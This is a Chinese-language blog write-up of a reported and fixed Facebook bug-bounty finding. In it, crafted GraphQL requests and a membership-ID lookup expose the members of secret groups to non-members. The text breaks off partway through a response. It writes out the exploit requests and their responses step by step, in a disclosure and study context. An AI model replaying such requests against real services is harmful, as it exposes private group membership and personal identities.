主页 > 网络知识 > 发现任意Facebook非公开私密群组成员信息

发现任意Facebook非公开私密群组成员信息

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

 

发现任意Facebook非公开私密群组成员信息

 

在Facebook非公开的私密群组(Secret)中,只有群内成员或管理员才有权看得到群组成员信息,但经作者测试发现,针对任意私密群组,非私密群组成员一样可以查看其中的群组成员信息。漏洞最终获得Facebook官方$3000美金奖励。

漏洞复现步骤

在用户B和非公开私密群组D之间不存在任何关系之前,以用户A身份提交以下请求:

POST /api/graphql/?doc_id=2416329748453695 HTTP/1.1

Host: facebook.com

variables=%7B%22groupID%22%3A%22Group_D_ID%22%2C%22memberID%22%3A%22

User_B_ID%22%7D

然后我们收到以下响应:

   "data":{ 

      "group":{ 

         "id":"2082572965383830",

         "can_viewer_claim_adminship":false,

         "membership":null

      }

   }

}

可以看到,响应中存在”membership”:null字段,这是因为用户B和非公开私密群组D之间不存在任何关系,也即用户B不是私密群组D内成员。

现在,如果私密群组D内某成员发邀请给用户B,让用户B加入私密群组D,也就是用户B和私密群组D已经开始建立了一种联系(Relationship)。此时,我们重复第一个步骤中的请求后,会收到以下响应:

   "data":{ 

      "group":{ 

         "id":"2082572965383830",

         "can_viewer_claim_adminship":false,

         "membership":{ 

            "member_actions":[ 

               { 

                  "__typename":"GroupSendMessageToMemberAction",

                  "action_name":"Send message",

                  "action_type":"SEND_MESSAGE"

               }

            ],

            "member":{ 

               "id":"100038336371044"

            },

            "id":"124632125491333"

         }

      }

   }

}

此时,membership = membership_id,尽管membership函数内无法看出一些有用信息,但我们可以利用其中的响应信息来继续构造请求。

现在,我们把其中的membership ID,也就是代表“GroupMembership”的 “id”:”124632125491333″提取出来,构造如下GraphQL请求:

 

graphql?q=node(GroupMembershipID)

   member,

   associated_group,

   invited_by{ 

      id,

      name

   }

}

收到的响应如下:

"124632125491333":{ 

   "member":{ 

      "name":"Sandra Alchccfcgajdd Lauescu",

      "url":"https://www.facebook.com/profile.php?id=100038336371044",

      "id":"100038336371044"

   },

   "associated_group":{ 

      "name":"Members",

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!